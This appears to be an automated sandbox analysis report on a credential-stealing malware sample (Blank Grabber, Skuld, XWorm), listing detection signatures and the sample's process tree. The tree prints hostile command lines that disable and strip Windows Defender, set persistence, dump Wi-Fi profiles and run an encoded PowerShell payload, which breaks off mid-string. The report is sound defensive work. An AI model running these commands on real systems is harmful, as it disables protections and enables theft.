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Windows
Analysis Report
EternalPredictor.exe
Overview
General Information
Detection
Blank Grabber, Skuld Stealer, XWorm
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Capture Wi-Fi password
Suricata IDS alerts for network traffic
UAC bypass detected (Fodhelper)
Yara detected Blank Grabber
Yara detected Skuld Stealer
Yara detected Telegram RAT
Yara detected XWorm
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Check if machine is in data center or colocation facility
Creates multiple autostart registry keys
Encrypted powershell cmdline option found
Found many strings related to Crypto-Wallets (likely being stolen)
Installs new ROOT certificates
Loading BitLocker PowerShell Module
Machine Learning detection for sample
Modifies Windows Defender protection settings
Modifies existing user documents (likely ransomware behavior)
Modifies the hosts file
Protects its processes via BreakOnTermination flag
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Removes signatures from Windows Defender
Sample uses string decryption to hide its real strings
Sigma detected: Bypass UAC via Fodhelper.exe
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Files With System Process Name In Unsuspected Locations
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Powershell Defender Disable Scan Feature
Sigma detected: Suspicious Encoded PowerShell Command Line
Sigma detected: Suspicious PowerShell Encoded Command Patterns
Sigma detected: Suspicious Startup Folder Persistence
Suspicious powershell command line found
Tries to harvest and steal WLAN passwords
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Crypto Currency Wallets
Uses cmd line tools excessively to alter registry or file data
Uses netsh to modify the Windows network and firewall settings
Uses schtasks.exe or at.exe to add and modify task schedules
Writes or reads registry keys via WMI
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Compiles C# or VB.Net code
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to dynamically determine API calls
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates a window with clipboard capturing capabilities
Creates or modifies windows services
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI
Sigma detected: Powershell Defender Exclusion
Sigma detected: SCR File Write Event
Sigma detected: Startup Folder File Write
Sigma detected: Suspicious Add Scheduled Task Parent
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: Suspicious Schtasks From Env Var Folder
Sigma detected: Suspicious Screensaver Binary File Creation
Sigma detected: Uncommon Svchost Parent Process
Stores files to the Windows start menu directory
Stores large binary data to the registry
Too many similar processes found
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Credential Stealer
Yara signature match
Classification
- System is w10x64
- EternalPredictor.exe (PID: 2852 cmdline:
"C:\Users\ user\Deskt op\Eternal Predictor. exe" MD5: 7D207C243B33D6F3D78ACADFFD95AE0E) - eternal.exe (PID: 5604 cmdline:
"C:\Users\ user\AppDa ta\Roaming \eternal.e xe" MD5: 7439CC991A9A756C41153B8E9121BAAB) - schtasks.exe (PID: 4424 cmdline:
"C:\Window s\System32 \schtasks. exe" /crea te /f /RL HIGHEST /s c minute / mo 1 /tn " XClient" / tr "C:\Use rs\user\Ap pData\Roam ing\XClien t.exe" MD5: 76CD6626DD8834BD4A42E6A565104DC2) - conhost.exe (PID: 4648 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - skuld.exe (PID: 3872 cmdline:
"C:\Users\ user\AppDa ta\Roaming \skuld.exe " MD5: DBBD2127D1030E4C9548FDF7DE9983A7) - conhost.exe (PID: 5928 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - attrib.exe (PID: 6876 cmdline:
attrib +h +s C:\User s\user\App Data\Roami ng\skuld.e xe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD) - attrib.exe (PID: 6088 cmdline:
attrib +h +s C:\User s\user\App Data\Roami ng\Microso ft\Protect \SecurityH ealthSystr ay.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD) - WMIC.exe (PID: 1816 cmdline:
wmic cspro duct get U UID MD5: C37F2F4F4B3CD128BDABCAEB2266A785) - program.exe (PID: 4464 cmdline:
"C:\Users\ user\AppDa ta\Roaming \program.e xe" MD5: 3E6865657B29FAEA3A355C710F0AAD45) - program.exe (PID: 2360 cmdline:
"C:\Users\ user\AppDa ta\Roaming \program.e xe" MD5: 3E6865657B29FAEA3A355C710F0AAD45) - cmd.exe (PID: 4920 cmdline:
C:\Windows \system32\ cmd.exe /c "powershe ll -Comman d Add-MpPr eference - ExclusionP ath 'C:\Us ers\user\A ppData\Roa ming\progr am.exe'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 4128 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 5520 cmdline:
powershell -Command Add-MpPref erence -Ex clusionPat h 'C:\User s\user\App Data\Roami ng\program .exe' MD5: 04029E121A0CFA5991749937DD22A1D9) - cmd.exe (PID: 4940 cmdline:
C:\Windows \system32\ cmd.exe /c "powershe ll Set-MpP reference -DisableIn trusionPre ventionSys tem $true -DisableIO AVProtecti on $true - DisableRea ltimeMonit oring $tru e -Disable ScriptScan ning $true -EnableCo ntrolledFo lderAccess Disabled -EnableNet workProtec tion Audit Mode -Forc e -MAPSRep orting Dis abled -Sub mitSamples Consent Ne verSend && powershel l Set-MpPr eference - SubmitSamp lesConsent 2 & "%Pro gramFiles% \Windows D efender\Mp CmdRun.exe " -RemoveD efinitions -All" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 4508 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 2212 cmdline:
powershell Set-MpPre ference -D isableIntr usionPreve ntionSyste m $true -D isableIOAV Protection $true -Di sableRealt imeMonitor ing $true -DisableSc riptScanni ng $true - EnableCont rolledFold erAccess D isabled -E nableNetwo rkProtecti on AuditMo de -Force -MAPSRepor ting Disab led -Submi tSamplesCo nsent Neve rSend MD5: 04029E121A0CFA5991749937DD22A1D9) - cmd.exe (PID: 4004 cmdline:
C:\Windows \system32\ cmd.exe /c "powershe ll -Comman d Add-MpPr eference - ExclusionP ath 'C:\Pr ogramData\ Microsoft\ Windows\St art Menu\P rograms\St artUp\ ? .scr'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 3832 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 6088 cmdline:
powershell -Command Add-MpPref erence -Ex clusionPat h 'C:\Prog ramData\Mi crosoft\Wi ndows\Star t Menu\Pro grams\Star tUp\ ? .s cr' MD5: 04029E121A0CFA5991749937DD22A1D9) - cmd.exe (PID: 7184 cmdline:
C:\Windows \system32\ cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7252 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - tasklist.exe (PID: 7320 cmdline:
tasklist / FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA) - cmd.exe (PID: 7240 cmdline:
C:\Windows \system32\ cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7332 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - tasklist.exe (PID: 7400 cmdline:
tasklist / FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA) - cmd.exe (PID: 7444 cmdline:
C:\Windows \system32\ cmd.exe /c "WMIC /No de:localho st /Namesp ace:\\root \SecurityC enter2 Pat h Antiviru sProduct G et display Name" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7460 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - WMIC.exe (PID: 7500 cmdline:
WMIC /Node :localhost /Namespac e:\\root\S ecurityCen ter2 Path AntivirusP roduct Get displayNa me MD5: C37F2F4F4B3CD128BDABCAEB2266A785) - cmd.exe (PID: 7544 cmdline:
C:\Windows \system32\ cmd.exe /c "powershe ll Get-Cli pboard" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7552 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7908 cmdline:
powershell Get-Clipb oard MD5: 04029E121A0CFA5991749937DD22A1D9) - cmd.exe (PID: 7584 cmdline:
C:\Windows \system32\ cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7664 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - tasklist.exe (PID: 7968 cmdline:
tasklist / FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA) - cmd.exe (PID: 7592 cmdline:
C:\Windows \system32\ cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7632 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - tree.com (PID: 7952 cmdline:
tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0) - cmd.exe (PID: 7620 cmdline:
C:\Windows \system32\ cmd.exe /c "netsh wl an show pr ofile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7704 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - netsh.exe (PID: 8000 cmdline:
netsh wlan show prof ile MD5: 6F1E6DD688818BC3D1391D0CC7D597EB) - cmd.exe (PID: 7672 cmdline:
C:\Windows \system32\ cmd.exe /c "REG QUER Y HKEY_LOC AL_MACHINE \SYSTEM\Cu rrentContr olSet\Serv ices\Tcpip \Parameter s /V DataB asePath" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7764 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - reg.exe (PID: 7976 cmdline:
REG QUERY HKEY_LOCAL _MACHINE\S YSTEM\Curr entControl Set\Servic es\Tcpip\P arameters /V DataBas ePath MD5: 227F63E1D9008B36BDBCC4B397780BE4) - cmd.exe (PID: 7656 cmdline:
C:\Windows \system32\ cmd.exe /c "systemin fo" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7820 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - systeminfo.exe (PID: 7960 cmdline:
systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD) - cmd.exe (PID: 7684 cmdline:
C:\Windows \system32\ cmd.exe /c "powershe ll.exe -No Profile -E xecutionPo licy Bypas s -Encoded Command JA BzAG8AdQBy AGMAZQAgAD 0AIABAACIA DQAKAHUAcw BpAG4AZwAg AFMAeQBzAH QAZQBtADsA DQAKAHUAcw BpAG4AZwAg AFMAeQBzAH QAZQBtAC4A QwBvAGwAbA BlAGMAdABp AG8AbgBzAC 4ARwBlAG4A ZQByAGkAYw A7AA0ACgB1 AHMAaQBuAG cAIABTAHkA cwB0AGUAbQ AuAEQAcgBh AHcAaQBuAG cAOwANAAoA dQBzAGkAbg BnACAAUwB5 AHMAdABlAG 0ALgBXAGkA bgBkAG8Adw BzAC4ARgBv AHIAbQBzAD sADQAKAA0A CgBwAHUAYg BsAGkAYwAg AGMAbABhAH MAcwAgAFMA YwByAGUAZQ BuAHMAaABv AHQADQAKAH sADQAKACAA IAAgACAAcA B1AGIAbABp AGMAIABzAH QAYQB0AGkA YwAgAEwAaQ BzAHQAPABC AGkAdABtAG EAcAA+ACAA QwBhAHAAdA B1AHIAZQBT AGMAcgBlAG UAbgBzACgA KQANAAoAIA AgACAAIAB7 AA0ACgAgAC AAIAAgACAA IAAgACAAdg BhAHIAIABy AGUAcwB1AG wAdABzACAA PQAgAG4AZQ B3ACAATABp AHMAdAA8AE IAaQB0AG0A YQBwAD4AKA ApADsADQAK ACAAIAAgAC AAIAAgACAA IAB2AGEAcg AgAGEAbABs AFMAYwByAG UAZQBuAHMA IAA9ACAAUw BjAHIAZQBl AG4ALgBBAG wAbABTAGMA cgBlAGUAbg BzADsADQAK AA0ACgAgAC AAIAAgACAA IAAgACAAZg BvAHIAZQBh AGMAaAAgAC gAUwBjAHIA ZQBlAG4AIA BzAGMAcgBl AGUAbgAgAG kAbgAgAGEA bABsAFMAYw ByAGUAZQBu AHMAKQANAA oAIAAgACAA IAAgACAAIA AgAHsADQAK ACAAIAAgAC AAIAAgACAA IAAgACAAIA AgAHQAcgB5 AA0ACgAgAC AAIAAgACAA IAAgACAAIA AgACAAIAB7 AA0ACgAgAC AAIAAgACAA IAAgACAAIA AgACAAIAAg ACAAIAAgAF IAZQBjAHQA YQBuAGcAbA BlACAAYgBv AHUAbgBkAH MAIAA9ACAA cwBjAHIAZQ BlAG4ALgBC AG8AdQBuAG QAcwA7AA0A CgAgACAAIA AgACAAIAAg ACAAIAAgAC AAIAAgACAA IAAgAHUAcw BpAG4AZwAg ACgAQgBpAH QAbQBhAHAA IABiAGkAdA BtAGEAcAAg AD0AIABuAG UAdwAgAEIA aQB0AG0AYQ BwACgAYgBv AHUAbgBkAH MALgBXAGkA ZAB0AGgALA AgAGIAbwB1 AG4AZABzAC 4ASABlAGkA ZwBoAHQAKQ ApAA0ACgAg ACAAIAAgAC AAIAAgACAA IAAgACAAIA AgACAAIAAg AHsADQAKAC AAIAAgACAA IAAgACAAIA AgACAAIAAg ACAAIAAgAC AAIAAgACAA IAB1AHMAaQ BuAGcAIAAo AEcAcgBhAH AAaABpAGMA cwAgAGcAcg BhAHAAaABp AGMAcwAgAD 0AIABHAHIA YQBwAGgAaQ BjAHMALgBG AHIAbwBtAE kAbQBhAGcA ZQAoAGIAaQ B0AG0AYQBw ACkAKQANAA oAIAAgACAA IAAgACAAIA AgACAAIAAg ACAAIAAgAC AAIAAgACAA IAAgAHsADQ AKACAAIAAg ACAAIAAgAC AAIAAgACAA IAAgACAAIA AgACAAIAAg ACAAIAAgAC AAIAAgAGcA cgBhAHAAaA BpAGMAcwAu AEMAbwBwAH kARgByAG8A bQBTAGMAcg BlAGUAbgAo AG4AZQB3AC AAUABvAGkA bgB0ACgAYg BvAHUAbgBk AHMALgBMAG UAZgB0ACwA IABiAG8AdQ BuAGQAcwAu AFQAbwBwAC kALAAgAFAA bwBpAG4AdA AuAEUAbQBw AHQAeQAsAC AAYgBvAHUA bgBkAHMALg BTAGkAegBl ACkAOwANAA oAIAAgACAA IAAgACAAIA AgACAAIAAg ACAAIAAgAC AAIAAgACAA IAAgAH0ADQ AKAA0ACgAg ACAAIAAgAC AAIAAgACAA IAAgACAAIA AgACAAIAAg ACAAIAAgAC AAcgBlAHMA dQBsAHQAcw AuAEEAZABk ACgAKABCAG kAdABtAGEA cAApAGIAaQ B0AG0AYQBw AC4AQwBsAG 8AbgBlACgA KQApADsADQ AKACAAIAAg ACAAIAAgAC AAIAAgACAA IAAgACAAIA AgACAAfQAN AAoAIAAgAC AAIAAgACAA IAAgACAAIA AgACAAfQAN AAoAIAAgAC AAIAAgACAA IAAgACAAIA AgACAAYwBh AHQAYwBoAC AAKABFAHgA